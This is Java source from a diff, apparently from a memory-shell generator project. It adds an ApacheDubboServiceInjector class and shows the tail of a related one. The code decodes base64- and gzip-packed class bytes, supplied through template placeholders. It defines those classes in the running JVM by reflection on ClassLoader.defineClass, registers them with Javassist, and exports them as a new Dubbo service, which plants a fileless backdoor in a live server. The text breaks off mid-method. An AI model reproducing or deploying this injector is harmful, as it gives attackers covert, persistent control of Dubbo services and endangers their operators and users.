String servicePath = normalizePath(getUrlPattern());
|
||||
if (servicePath.isEmpty()) {
|
||||
throw new IllegalArgumentException("path must not be empty");
|
||||
}
|
||||
|
||||
if (dynamicServices.containsKey(servicePath) || findRegisteredService(servicePath) != null) {
|
||||
return resolveServiceAddresses(servicePath);
|
||||
}
|
||||
|
||||
Class<?> serviceInterface = loadClass(getHelperBase64String());
|
||||
Class<?> serviceImpl = loadClass(getBase64String());
|
||||
validateServiceTypes(serviceInterface, serviceImpl);
|
||||
|
||||
ServiceConfig<?> serviceConfig = createServiceConfig(servicePath, serviceInterface, instantiate(serviceImpl));
|
||||
if (dynamicServices.putIfAbsent(servicePath, serviceConfig) != null) {
|
||||
return resolveServiceAddresses(servicePath);
|
||||
}
|
||||
|
||||
try {
|
||||
serviceConfig.export();
|
||||
return resolveServiceAddresses(servicePath);
|
||||
} catch (RuntimeException e) {
|
||||
dynamicServices.remove(servicePath, serviceConfig);
|
||||
throw e;
|
||||
}
|
||||
}
|
||||
|
||||
private Class<?> loadClass(String payload) throws Exception {
|
||||
ClassLoader classLoader = ClassHelper.getClassLoader(ClassGenerator.class);
|
||||
byte[] classBytes = gzipDecompress(decodeBase64(payload));
|
||||
definePackageIfNeeded(classLoader, getClassName());
|
||||
Class<?> loadedClass = defineClass(classLoader, classBytes);
|
||||
registerInJavassistClassPool(classLoader, classBytes);
|
||||
return loadedClass;
|
||||
}
|
||||
|
||||
private Class<?> defineClass(ClassLoader classLoader, byte[] classBytes) throws Exception {
|
||||
ProtectionDomain protectionDomain = ClassGenerator.class.getProtectionDomain();
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod(
|
||||
"defineClass",
|
||||
String.class,
|
||||
byte[].class,
|
||||
int.class,
|
||||
int.class,
|
||||
ProtectionDomain.class
|
||||
);
|
||||
defineClass.setAccessible(true);
|
||||
return (Class<?>) defineClass.invoke(classLoader, null, classBytes, 0, classBytes.length, protectionDomain);
|
||||
}
|
||||
|
||||
private void definePackageIfNeeded(ClassLoader classLoader, String className) {
|
||||
int packageEnd = className.lastIndexOf('.');
|
||||
if (packageEnd < 0) {
|
||||
return;
|
||||
}
|
||||
|
||||
String packageName = className.substring(0, packageEnd);
|
||||
try {
|
||||
Method getPackage = ClassLoader.class.getDeclaredMethod("getPackage", String.class);
|
||||
getPackage.setAccessible(true);
|
||||
if (getPackage.invoke(classLoader, packageName) != null) {
|
||||
return;
|
||||
}
|
||||
|
||||
Method definePackage = ClassLoader.class.getDeclaredMethod(
|
||||
"definePackage",
|
||||
String.class,
|
||||
String.class,
|
||||
String.class,
|
||||
String.class,
|
||||
String.class,
|
||||
String.class,
|
||||
String.class,
|
||||
java.net.URL.class
|
||||
);
|
||||
definePackage.setAccessible(true);
|
||||
definePackage.invoke(classLoader, packageName, null, null, null, null, null, null, null);
|
||||
} catch (Exception ignored) {
|
||||
// Defining the package is a convenience for older class loaders. The class can still load without it.
|
||||
}
|
||||
}
|
||||
|
||||
private void registerInJavassistClassPool(ClassLoader classLoader, byte[] classBytes) {
|
||||
try {
|
||||
ClassPool classPool = ClassGenerator.getClassPool(classLoader);
|
||||
classPool.makeClass(new ByteArrayInputStream(classBytes));
|
||||
} catch (Throwable ignored) {
|
||||
// Dubbo's proxy generator can still resolve already-defined classes if Javassist registration fails.
|
||||
}
|
||||
}
|
||||
|
||||
private static byte[] decodeBase64(String value) throws Exception {
|
||||
Object decoder = Class.forName("sun.misc.BASE64Decoder").newInstance();
|
||||
return (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, value);
|
||||
}
|
||||
|
||||
private static byte[] gzipDecompress(byte[] bytes) throws Exception {
|
||||
GZIPInputStream inputStream = null;
|
||||
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||
try {
|
||||
inputStream = new GZIPInputStream(new ByteArrayInputStream(bytes));
|
||||
byte[] buffer = new byte[4096];
|
||||
int read;
|
||||
while ((read = inputStream.read(buffer)) > 0) {
|
||||
outputStream.write(buffer, 0, read);
|
||||
}
|
||||
return outputStream.toByteArray();
|
||||
} finally {
|
||||
if (inputStream != null) {
|
||||
inputStream.close();
|
||||
}
|
||||
outputStream.close();
|
||||
}
|
||||
}
|
||||
|
||||
private void validateServiceTypes(Class<?> serviceInterface, Class<?> serviceImpl) {
|
||||
if (!serviceInterface.isInterface()) {
|
||||
throw new IllegalArgumentException("not an interface: " + serviceInterface.getName());
|
||||
}
|
||||
if (serviceImpl.isInterface() || Modifier.isAbstract(serviceImpl.getModifiers())) {
|
||||
throw new IllegalArgumentException("implementation class is not instantiable: " + serviceImpl.getName());
|
||||
}
|
||||
if (!serviceInterface.isAssignableFrom(serviceImpl)) {
|
||||
throw new IllegalArgumentException(serviceImpl.getName() + " does not implement " + serviceInterface.getName());
|
||||
}
|
||||
}
|
||||
|
||||
private Object instantiate(Class<?> serviceImpl) {
|
||||
try {
|
||||
Constructor<?> constructor = serviceImpl.getDeclaredConstructor();
|
||||
constructor.setAccessible(true);
|
||||
return constructor.newInstance();
|
||||
} catch (Exception e) {
|
||||
throw new IllegalArgumentException("failed to instantiate " + serviceImpl.getName(), e);
|
||||
}
|
||||
}
|
||||
|
||||
private ServiceConfig<Object> createServiceConfig(String servicePath, Class<?> serviceInterface, Object serviceImpl) {
|
||||
ServiceConfig<Object> serviceConfig = new ServiceConfig<Object>();
|
||||
serviceConfig.setInterface(serviceInterface);
|
||||
serviceConfig.setRef(serviceImpl);
|
||||
serviceConfig.setPath(servicePath);
|
||||
|
||||
ProviderConfig providerConfig = findProviderConfig();
|
||||
if (providerConfig != null) {
|
||||
serviceConfig.setProvider(providerConfig);
|
||||
if (notEmpty(providerConfig.getVersion())) {
|
||||
serviceConfig.setVersion(providerConfig.getVersion());
|
||||
}
|
||||
}
|
||||
|
||||
ApplicationConfig applicationConfig = findApplicationConfig(providerConfig);
|
||||
if (applicationConfig != null) {
|
||||
serviceConfig.setApplication(applicationConfig);
|
||||
}
|
||||
|
||||
List<ProtocolConfig> protocolConfigs = findProtocolConfigs(providerConfig);
|
||||
if (!protocolConfigs.isEmpty()) {
|
||||
serviceConfig.setProtocols(protocolConfigs);
|
||||
}
|
||||
|
||||
List<RegistryConfig> registryConfigs = findRegistryConfigs(providerConfig, applicationConfig);
|
||||
if (!registryConfigs.isEmpty()) {
|
||||
serviceConfig.setRegistries(registryConfigs);
|
||||
}
|
||||
|
||||
return serviceConfig;
|
||||
}
|
||||
|
||||
private ServiceConfig<?> findRegisteredService(String servicePath) {
|
||||
String normalizedPath = normalizePath(servicePath);
|
||||
for (ProviderModel providerModel : providerModels()) {
|
||||
ServiceConfig<?> serviceConfig = providerModel.getMetadata();
|
||||
if (serviceConfig != null && normalizedPath.equals(normalizePath(serviceConfig.getPath()))) {
|
||||
return serviceConfig;
|
||||
}
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
private ProviderConfig findProviderConfig() {
|
||||
for (ProviderModel providerModel : providerModels()) {
|
||||
ServiceConfig<?> serviceConfig = providerModel.getMetadata();
|
||||
if (serviceConfig != null && serviceConfig.getProvider() != null) {
|
||||
return serviceConfig.getProvider();
|
||||
}
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
private ApplicationConfig findApplicationConfig(ProviderConfig providerConfig) {
|
||||
if (providerConfig != null && providerConfig.getApplication() != null) {
|
||||
return providerConfig.getApplication();
|
||||
}
|
||||
|
||||
for (ProviderModel providerModel : providerModels()) {
|
||||
com.alibaba.dubbo.config.ServiceConfig<?> serviceConfig = providerModel.getMetadata();
|
||||
if (serviceConfig == null) {
|
||||
continue;
|
||||
}
|
||||
if (serviceConfig.getApplication() != null) {
|
||||
return serviceConfig.getApplication();
|
||||
}
|
||||
if (serviceConfig.getProvider() != null && serviceConfig.getProvider().getApplication() != null) {
|
||||
return serviceConfig.getProvider().getApplication();
|
||||
}
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
private List<ProtocolConfig> findProtocolConfigs(ProviderConfig providerConfig) {
|
||||
List<ProtocolConfig> protocols = new ArrayList<ProtocolConfig>();
|
||||
addProtocols(protocols, providerConfig == null ? null : providerConfig.getProtocols());
|
||||
for (ProviderModel providerModel : providerModels()) {
|
||||
ServiceConfig<?> serviceConfig = providerModel.getMetadata();
|
||||
if (serviceConfig == null) {
|
||||
continue;
|
||||
}
|
||||
addProtocols(protocols, serviceConfig.getProtocols());
|
||||
addProtocols(protocols, serviceConfig.getProvider() == null ? null : serviceConfig.getProvider().getProtocols());
|
||||
}
|
||||
return uniqueProtocols(protocols);
|
||||
}
|
||||
|
||||
private List<RegistryConfig> findRegistryConfigs(ProviderConfig providerConfig, ApplicationConfig applicationConfig) {
|
||||
List<RegistryConfig> registries = registries(providerConfig == null ? null : providerConfig.getRegistries());
|
||||
if (!registries.isEmpty()) {
|
||||
return registries;
|
||||
}
|
||||
|
||||
registries = registries(applicationConfig == null ? null : applicationConfig.getRegistries());
|
||||
if (!registries.isEmpty()) {
|
||||
return registries;
|
||||
}
|
||||
|
||||
for (ProviderModel providerModel : providerModels()) {
|
||||
ServiceConfig<?> serviceConfig = providerModel.getMetadata();
|
||||
if (serviceConfig == null) {
|
||||
continue;
|
||||
}
|
||||
|
||||
registries = registries(serviceConfig.getRegistries());
|
||||
if (!registries.isEmpty()) {
|
||||
return registries;
|
||||
}
|
||||
|
||||
ProviderConfig serviceProvider = serviceConfig.getProvider();
|
||||
registries = registries(serviceProvider == null ? null : serviceProvider.getRegistries());
|
||||
if (!registries.isEmpty()) {
|
||||
return registries;
|
||||
}
|
||||
|
||||
ApplicationConfig serviceApplication = serviceConfig.getApplication();
|
||||
registries = registries(serviceApplication == null ? null : serviceApplication.getRegistries());
|
||||
if (!registries.isEmpty()) {
|
||||
return registries;
|
||||
}
|
||||
}
|
||||
|
||||
return new ArrayList<RegistryConfig>();
|
||||
}
|
||||
|
||||
private String resolveServiceAddresses(String servicePath) {
|
||||
String normalizedPath = normalizePath(servicePath);
|
||||
ServiceConfig<?> serviceConfig = dynamicServices.get(normalizedPath);
|
||||
if (serviceConfig == null) {
|
||||
serviceConfig = findRegisteredService(normalizedPath);
|
||||
}
|
||||
if (serviceConfig == null) {
|
||||
return normalizedPath;
|
||||
}
|
||||
|
||||
List<URL> exportedUrls = serviceConfig.getExportedUrls();
|
||||
if (exportedUrls != null && !exportedUrls.isEmpty()) {
|
||||
return formatUrls(exportedUrls);
|
||||
}
|
||||
|
||||
List<ProtocolConfig> protocols = uniqueProtocols(serviceConfig.getProtocols());
|
||||
if (protocols.isEmpty() && serviceConfig.getProvider() != null) {
|
||||
protocols = uniqueProtocols(serviceConfig.getProvider().getProtocols());
|
||||
}
|
||||
if (protocols.isEmpty()) {
|
||||
return normalizedPath;
|
||||
}
|
||||
|
||||
return formatProtocolAddresses(protocols, normalizedPath);
|
||||
}
|
||||
|
||||
private String formatUrls(List<URL> urls) {
|
||||
StringBuilder builder = new StringBuilder();
|
||||
for (URL url : urls) {
|
||||
if (builder.length() > 0) {
|
||||
builder.append(", ");
|
||||
}
|
||||
builder.append(formatUrl(url));
|
||||
}
|
||||
return builder.toString();
|
||||
}
|
||||
|
||||
private String formatProtocolAddresses(List<ProtocolConfig> protocols, String path) {
|
||||
StringBuilder builder = new StringBuilder();
|
||||
for (ProtocolConfig protocol : protocols) {
|
||||
if (builder.length() > 0) {
|
||||
builder.append(", ");
|
||||
}
|
||||
builder.append(formatProtocolAddress(protocol, path));
|
||||
}
|
||||
return builder.toString();
|
||||
}
|
||||
|
||||
private String formatUrl(URL url) {
|
||||
String path = normalizePath(url.getPath());
|
||||
int port = url.getPort();
|
||||
return port > 0
|
||||
? String.format("%s://%s:%d/%s", url.getProtocol(), DISPLAY_HOST, port, path)
|
||||
: String.format("%s://%s/%s", url.getProtocol(), DISPLAY_HOST, path);
|
||||
}
|
||||
|
||||
private String formatProtocolAddress(ProtocolConfig protocol, String path) {
|
||||
String protocolName = notEmpty(protocol.getName()) ? protocol.getName() : "dubbo";
|
||||
Integer port = protocol.getPort();
|
||||
return port != null && port > 0
|
||||
? String.format("%s://%s:%d/%s", protocolName, DISPLAY_HOST, port, path)
|
||||
: String.format("%s://%s/%s", protocolName, DISPLAY_HOST, path);
|
||||
}
|
||||
|
||||
private List<ProviderModel> providerModels() {
|
||||
try {
|
||||
return ApplicationModel.allProviderModels();
|
||||
} catch (Throwable ignored) {
|
||||
return new ArrayList<ProviderModel>();
|
||||
}
|
||||
}
|
||||
|
||||
private void addProtocols(List<ProtocolConfig> target, List<ProtocolConfig> source) {
|
||||
if (source != null) {
|
||||
target.addAll(source);
|
||||
}
|
||||
}
|
||||
|
||||
private List<ProtocolConfig> uniqueProtocols(List<ProtocolConfig> protocols) {
|
||||
Map<String, ProtocolConfig> unique = new LinkedHashMap<String, ProtocolConfig>();
|
||||
if (protocols != null) {
|
||||
for (ProtocolConfig protocol : protocols) {
|
||||
if (protocol != null) {
|
||||
unique.put(protocolKey(protocol), protocol);
|
||||
}
|
||||
}
|
||||
}
|
||||
return new ArrayList<ProtocolConfig>(unique.values());
|
||||
}
|
||||
|
||||
private List<RegistryConfig> registries(List<RegistryConfig> registries) {
|
||||
return registries == null ? new ArrayList<RegistryConfig>() : new ArrayList<RegistryConfig>(registries);
|
||||
}
|
||||
|
||||
private String protocolKey(ProtocolConfig protocol) {
|
||||
return String.valueOf(protocol.getName())
|
||||
+ "|"
|
||||
+ String.valueOf(protocol.getHost())
|
||||
+ "|"
|
||||
+ String.valueOf(protocol.getPort())
|
||||
+ "|"
|
||||
+ String.valueOf(protocol.getServer())
|
||||
+ "|"
|
||||
+ String.valueOf(protocol.getId());
|
||||
}
|
||||
|
||||
private String normalizePath(String path) {
|
||||
if (path == null) {
|
||||
return "";
|
||||
}
|
||||
|
||||
String normalized = path.trim();
|
||||
while (normalized.startsWith("/")) {
|
||||
normalized = normalized.substring(1);
|
||||
}
|
||||
return normalized;
|
||||
}
|
||||
|
||||
private boolean notEmpty(String value) {
|
||||
return value != null && !value.isEmpty();
|
||||
}
|
||||
|
||||
private String stackTrace(Throwable throwable) {
|
||||
StringWriter writer = new StringWriter();
|
||||
throwable.printStackTrace(new PrintWriter(writer));
|
||||
return writer.toString();
|
||||
}
|
||||
}
|
||||
+616
@@ -0,0 +1,616 @@
|
||||
package com.reajason.javaweb.memshell.injector.dubbo;
|
||||
|
||||
import javassist.ClassPool;
|
||||
import org.apache.dubbo.common.bytecode.ClassGenerator;
|
||||
import org.apache.dubbo.config.*;
|
||||
import org.apache.dubbo.rpc.model.ApplicationModel;
|
||||
|
||||
import java.io.*;
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
import java.lang.reflect.Modifier;
|
||||
import java.security.ProtectionDomain;
|
||||
import java.util.*;
|
||||
import java.util.concurrent.ConcurrentHashMap;
|
||||
import java.util.stream.Collectors;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
public class ApacheDubboServiceInjector {
|
||||
private final Map<String, ServiceConfig<?>> DYNAMIC_SERVICES = new ConcurrentHashMap<>();
|
||||
private static final String DISPLAY_HOST = "x.x.x.x";
|
||||
private static String msg = "";
|
||||
private static boolean ok = false;
|
||||
|
||||
public String getUrlPattern() {
|
||||
return "{{urlPattern}}";
|
||||
}
|
||||
|
||||
public String getClassName() {
|
||||
return "{{className}}";
|
||||
}
|
||||
|
||||
public String getBase64String() {
|
||||
return "{{base64Str}}";
|
||||
}
|
||||
|
||||
public String getHelperBase64String() {
|
||||
return "{{helperBase64String}}";
|
||||
}
|
||||
|
||||
public ApacheDubboServiceInjector() {
|
||||
if (ok) {
|
||||
return;
|
||||
}
|
||||
try {
|
||||
msg += registerService();
|
||||
} catch (Throwable e) {
|
||||
msg += "unexcepted error: " + getErrorMessage(e);
|
||||
}
|
||||
ok = true;
|
||||
System.out.println(msg);
|
||||
}
|
||||
|
||||
private Class<?> loadClass(String payload) throws Exception {
|
||||
ClassLoader classLoader = resolveDubboClassLoader();
|
||||
byte[] classBytes = gzipDecompress(decodeBase64(payload));
|
||||
definePackageIfNeeded(classLoader, getClassName());
|
||||
Class<?> loadedClass = defineClass(classLoader, classBytes);
|
||||
registerInJavassistClassPool(classLoader, loadedClass.getName(), classBytes);
|
||||
msg += "[" + classLoader.getClass().getName() + "] ";
|
||||
return loadedClass;
|
||||
}
|
||||
|
||||
private ClassLoader resolveDubboClassLoader() {
|
||||
ClassLoader classLoader = invokeDubboClassLoader("org.apache.dubbo.common.utils.ClassHelper");
|
||||
if (classLoader != null) {
|
||||
return classLoader;
|
||||
}
|
||||
classLoader = invokeDubboClassLoader("org.apache.dubbo.common.utils.ClassUtils");
|
||||
if (classLoader != null) {
|
||||
return classLoader;
|
||||
}
|
||||
classLoader = ClassGenerator.class.getClassLoader();
|
||||
return classLoader != null ? classLoader : Thread.currentThread().getContextClassLoader();
|
||||
}
|
||||
|
||||
private ClassLoader invokeDubboClassLoader(String className) {
|
||||
try {
|
||||
Class<?> helperClass = Class.forName(className);
|
||||
return (ClassLoader) helperClass.getMethod("getClassLoader", Class.class).invoke(null, ClassGenerator.class);
|
||||
} catch (Throwable ignored) {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
private Class<?> defineClass(ClassLoader classLoader, byte[] classBytes) throws Exception {
|
||||
ProtectionDomain protectionDomain = ClassGenerator.class.getProtectionDomain();
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod(
|
||||
"defineClass",
|
||||
String.class,
|
||||
byte[].class,
|
||||
int.class,
|
||||
int.class,
|
||||
ProtectionDomain.class
|
||||
);
|
||||
defineClass.setAccessible(true);
|
||||
return (Class<?>) defineClass.invoke(classLoader, null, classBytes, 0, classBytes.length, protectionDomain);
|
||||
}
|
||||
|
||||
private void definePackageIfNeeded(ClassLoader classLoader, String className) {
|
||||
int packageEnd = className.lastIndexOf('.');
|
||||
if (packageEnd < 0) {
|
||||
return;
|
||||
}
|
||||
String packageName = className.substring(0, packageEnd);
|
||||
try {
|
||||
Method getPackage = ClassLoader.class.getDeclaredMethod("getPackage", String.class);
|
||||
getPackage.setAccessible(true);
|
||||
if (getPackage.invoke(classLoader, packageName) != null) {
|
||||
return;
|
||||
}
|
||||
Method definePackage = ClassLoader.class.getDeclaredMethod(
|
||||
"definePackage",
|
||||
String.class,
|
||||
String.class,
|
||||
String.class,
|
||||
String.class,
|
||||
String.class,
|
||||
String.class,
|
||||
String.class,
|
||||
java.net.URL.class
|
||||
);
|
||||
definePackage.setAccessible(true);
|
||||
definePackage.invoke(classLoader, packageName, null, null, null, null, null, null, null);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
|
||||
public String toString() {
|
||||
return msg;
|
||||
}
|
||||
|
||||
private void registerInJavassistClassPool(ClassLoader classLoader, String className, byte[] classBytes) {
|
||||
try {
|
||||
ClassPool classPool = ClassGenerator.getClassPool(classLoader);
|
||||
try {
|
||||
classPool.getClass().getMethod("makeClassIfNew", InputStream.class).invoke(classPool, new ByteArrayInputStream(classBytes));
|
||||
} catch (NoSuchMethodException e) {
|
||||
classPool.getClass().getMethod("makeClass", InputStream.class).invoke(classPool, new ByteArrayInputStream(classBytes));
|
||||
}
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
insertByteArrayClassPath(className, classLoader, classBytes);
|
||||
}
|
||||
|
||||
private void insertByteArrayClassPath(String className, ClassLoader classLoader, byte[] classBytes) {
|
||||
try {
|
||||
Class<?> classPoolClass = Class.forName("javassist.ClassPool");
|
||||
Class<?> classPathClass = Class.forName("javassist.ClassPath");
|
||||
Class<?> byteArrayClassPathClass = Class.forName("javassist.ByteArrayClassPath");
|
||||
insertClassPath(classPoolClass.getMethod("getDefault").invoke(null), classPoolClass, classPathClass, byteArrayClassPathClass, className, classBytes);
|
||||
insertClassPath(ClassGenerator.getClassPool(classLoader), classPoolClass, classPathClass, byteArrayClassPathClass, className, classBytes);
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
}
|
||||
|
||||
private void insertClassPath(Object classPool, Class<?> classPoolClass, Class<?> classPathClass, Class<?> byteArrayClassPathClass, String className, byte[] classBytes) throws Exception {
|
||||
if (classPoolClass.getMethod("find", String.class).invoke(classPool, className) == null) {
|
||||
classPoolClass.getMethod("insertClassPath", classPathClass).invoke(classPool, byteArrayClassPathClass.getConstructor(String.class, byte[].class).newInstance(className, classBytes));
|
||||
}
|
||||
}
|
||||
|
||||
public static byte[] decodeBase64(String str) throws Exception {
|
||||
return Base64.getDecoder().decode(str);
|
||||
}
|
||||
|
||||
public static byte[] gzipDecompress(byte[] bArr) throws IOException {
|
||||
try (ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
|
||||
GZIPInputStream gZIPInputStream = new GZIPInputStream(new ByteArrayInputStream(bArr))) {
|
||||
byte[] bArr2 = new byte[4096];
|
||||
int i;
|
||||
while ((i = gZIPInputStream.read(bArr2)) > 0) {
|
||||
byteArrayOutputStream.write(bArr2, 0, i);
|
||||
}
|
||||
return byteArrayOutputStream.toByteArray();
|
||||
}
|
||||
}
|
||||
|
||||
public String registerService() throws Exception {
|
||||
String strNormalizePath = normalizePath(getUrlPattern());
|
||||
if (strNormalizePath.isEmpty()) {
|
||||
throw new IllegalArgumentException("path must not be empty");
|
||||
}
|
||||
if (!DYNAMIC_SERVICES.containsKey(strNormalizePath) && !isPathRegisteredInFramework(strNormalizePath)) {
|
||||
Class<?> shell = loadClass(getHelperBase64String());
|
||||
Class<?> shell2 = loadClass(getBase64String());
|
||||
validateServiceTypes(shell, shell2);
|
||||
ServiceConfig<?> serviceConfigCreateServiceConfig = createServiceConfig(strNormalizePath, shell, instantiate(shell2));
|
||||
if (DYNAMIC_SERVICES.putIfAbsent(strNormalizePath, serviceConfigCreateServiceConfig) != null) {
|
||||
return resolveServiceAddresses(strNormalizePath);
|
||||
}
|
||||
try {
|
||||
serviceConfigCreateServiceConfig.export();
|
||||
return resolveServiceAddresses(strNormalizePath);
|
||||
} catch (RuntimeException e) {
|
||||
DYNAMIC_SERVICES.remove(strNormalizePath, serviceConfigCreateServiceConfig);
|
||||
throw e;
|
||||
}
|
||||
}
|
||||
return resolveServiceAddresses(strNormalizePath);
|
||||
}
|
||||
|
||||
private boolean isPathRegisteredInFramework(String str) {
|
||||
try {
|
||||
for (Object obj : getRegisteredServices()) {
|
||||
if (str.equals(obj.getClass().getMethod("getPath").invoke(obj))) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
} catch (Exception e) {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
private Collection<?> getRegisteredServices() {
|
||||
try {
|
||||
Object configManager = resolveConfigManager();
|
||||
return toList(invokeNoArgs(configManager, "getServices"));
|
||||
} catch (Exception e) {
|
||||
try {
|
||||
Object objInvoke = ApplicationModel.class.getMethod("defaultModel").invoke(null);
|
||||
Object objInvoke2 = objInvoke.getClass().getMethod("getDefaultModule").invoke(objInvoke);
|
||||
Object objInvoke3 = objInvoke2.getClass().getMethod("getConfigManager").invoke(objInvoke2);
|
||||
return toList(invokeNoArgs(objInvoke3, "getServices"));
|
||||
} catch (Exception e2) {
|
||||
return new ArrayList<>();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private String normalizePath(String str) {
|
||||
if (str == null) {
|
||||
return "";
|
||||
}
|
||||
String strTrim = str.trim();
|
||||
while (true) {
|
||||
String str2 = strTrim;
|
||||
if (!str2.startsWith("/")) {
|
||||
return str2;
|
||||
}
|
||||
strTrim = str2.substring(1);
|
||||
}
|
||||
}
|
||||
|
||||
private void validateServiceTypes(Class<?> cls, Class<?> cls2) {
|
||||
if (!cls.isInterface()) {
|
||||
throw new IllegalArgumentException("not an interface: " + cls.getName());
|
||||
}
|
||||
if (cls2.isInterface() || Modifier.isAbstract(cls2.getModifiers())) {
|
||||
throw new IllegalArgumentException("implementation class is not instantiable: " + cls2.getName());
|
||||
}
|
||||
if (!cls.isAssignableFrom(cls2)) {
|
||||
throw new IllegalArgumentException(cls2.getName() + " does not implement " + cls.getName());
|
||||
}
|
||||
}
|
||||
|
||||
private Object instantiate(Class<?> cls) {
|
||||
try {
|
||||
Constructor<?> declaredConstructor = cls.getDeclaredConstructor();
|
||||
declaredConstructor.setAccessible(true);
|
||||
return declaredConstructor.newInstance();
|
||||
} catch (Exception e) {
|
||||
throw new IllegalArgumentException("failed to instantiate " + cls.getName(), e);
|
||||
}
|
||||
}
|
||||
|
||||
private ServiceConfig<Object> createServiceConfig(String str, Class<?> cls, Object obj) {
|
||||
Object configManager = resolveConfigManager();
|
||||
ProviderConfig providerConfigResolveDefaultProvider = resolveDefaultProvider(configManager);
|
||||
ProviderConfig providerConfigSanitizeProviderConfig = sanitizeProviderConfig(providerConfigResolveDefaultProvider);
|
||||
ServiceConfig<Object> serviceConfig = new ServiceConfig<>();
|
||||
serviceConfig.setInterface(cls);
|
||||
serviceConfig.setRef(obj);
|
||||
serviceConfig.setPath(str);
|
||||
serviceConfig.setProxy("jdk");
|
||||
if (providerConfigSanitizeProviderConfig != null) {
|
||||
serviceConfig.setProvider(providerConfigSanitizeProviderConfig);
|
||||
}
|
||||
ApplicationConfig applicationConfig = castApplicationConfig(extractOptionalValue(invokeNoArgs(configManager, "getApplication")));
|
||||
if (applicationConfig != null) {
|
||||
serviceConfig.setApplication(applicationConfig);
|
||||
}
|
||||
String strResolveConfiguredVersion = resolveConfiguredVersion(providerConfigResolveDefaultProvider);
|
||||
if (strResolveConfiguredVersion != null) {
|
||||
serviceConfig.setVersion(strResolveConfiguredVersion);
|
||||
}
|
||||
serviceConfig.setProtocols(resolveConfiguredProtocols(providerConfigResolveDefaultProvider, configManager));
|
||||
serviceConfig.setRegistries(resolveRegistriesForExport(castRegistries(toList(invokeNoArgs(configManager, "getDefaultRegistries"))), castRegistries(toList(invokeNoArgs(configManager, "getRegistries")))));
|
||||
return serviceConfig;
|
||||
}
|
||||
|
||||
private ProviderConfig resolveDefaultProvider(Object obj) {
|
||||
ProviderConfig providerConfigCastProviderConfig = castProviderConfig(extractOptionalValue(invokeNoArgs(obj, "getDefaultProvider")));
|
||||
if (providerConfigCastProviderConfig != null) {
|
||||
return providerConfigCastProviderConfig;
|
||||
}
|
||||
Object objInvokeNoArgs = invokeNoArgs(obj, "getDefaultModule");
|
||||
if (objInvokeNoArgs == null) {
|
||||
objInvokeNoArgs = invokeNoArgs(invokeStaticNoArgs(ApplicationModel.class, "defaultModel"), "getDefaultModule");
|
||||
}
|
||||
Object objInvokeNoArgs2 = invokeNoArgs(objInvokeNoArgs, "getConfigManager");
|
||||
ProviderConfig providerConfigCastProviderConfig2 = castProviderConfig(extractOptionalValue(invokeNoArgs(objInvokeNoArgs2, "getDefaultProvider")));
|
||||
return providerConfigCastProviderConfig2 != null ? providerConfigCastProviderConfig2 : castProviderConfig(firstElement(toList(invokeNoArgs(objInvokeNoArgs2, "getProviders"))));
|
||||
}
|
||||
|
||||
private ProviderConfig sanitizeProviderConfig(ProviderConfig providerConfig) {
|
||||
if (providerConfig == null) {
|
||||
return null;
|
||||
}
|
||||
List registries = providerConfig.getRegistries();
|
||||
if (registries == null || filterValidRegistries(registries).size() == registries.size()) {
|
||||
return providerConfig;
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
private List<RegistryConfig> filterValidRegistries(Collection<RegistryConfig> collection) {
|
||||
if (collection == null) {
|
||||
return new ArrayList<>();
|
||||
}
|
||||
return collection.stream()
|
||||
.filter(registryConfig -> registryConfig != null && registryConfig.isValid())
|
||||
.collect(Collectors.toList());
|
||||
}
|
||||
|
||||
private List<RegistryConfig> resolveRegistriesForExport(Collection<RegistryConfig> collection, Collection<RegistryConfig> collection2) {
|
||||
List<RegistryConfig> listFilterValidRegistries = filterValidRegistries(collection);
|
||||
if (!listFilterValidRegistries.isEmpty()) {
|
||||
return listFilterValidRegistries;
|
||||
}
|
||||
List<RegistryConfig> listFilterValidRegistries2 = filterValidRegistries(collection2);
|
||||
return !listFilterValidRegistries2.isEmpty() ? listFilterValidRegistries2 : Collections.singletonList(new RegistryConfig("N/A"));
|
||||
}
|
||||
|
||||
private String resolveConfiguredVersion(Object obj) {
|
||||
return stringValue(invokeNoArgs(obj, "getVersion"), null);
|
||||
}
|
||||
|
||||
private List<ProtocolConfig> resolveConfiguredProtocols(ProviderConfig providerConfig, Object configManager) {
|
||||
return resolveConfiguredProtocols(providerConfig, configManager, getRegisteredServices());
|
||||
}
|
||||
|
||||
private List<ProtocolConfig> resolveConfiguredProtocols(ProviderConfig providerConfig, Object configManager, Collection<?> collection) {
|
||||
return mergeProtocols(mergeProtocols(mergeProtocols(providerConfig == null ? null : providerConfig.getProtocols(), castProtocols(toList(invokeNoArgs(configManager, "getDefaultProtocols")))), castProtocols(toList(invokeNoArgs(configManager, "getProtocols")))), collectProtocolsFromServices(collection));
|
||||
}
|
||||
|
||||
private List<ProtocolConfig> collectProtocolsFromServices(Collection<?> collection) {
|
||||
List<ProtocolConfig> arrayList = new ArrayList<>();
|
||||
if (collection != null) {
|
||||
try {
|
||||
for (Object service : collection) {
|
||||
try {
|
||||
arrayList.addAll(castProtocols(toList(invokeNoArgs(service, "getProtocols"))));
|
||||
} catch (Exception e) {
|
||||
}
|
||||
}
|
||||
} catch (Exception e2) {
|
||||
}
|
||||
}
|
||||
try {
|
||||
for (Object exportedProvider : getExportedProviders()) {
|
||||
try {
|
||||
Object objInvokeNoArgs = invokeNoArgs(exportedProvider, "getServiceConfig");
|
||||
if (objInvokeNoArgs != null) {
|
||||
arrayList.addAll(castProtocols(toList(invokeNoArgs(objInvokeNoArgs, "getProtocols"))));
|
||||
}
|
||||
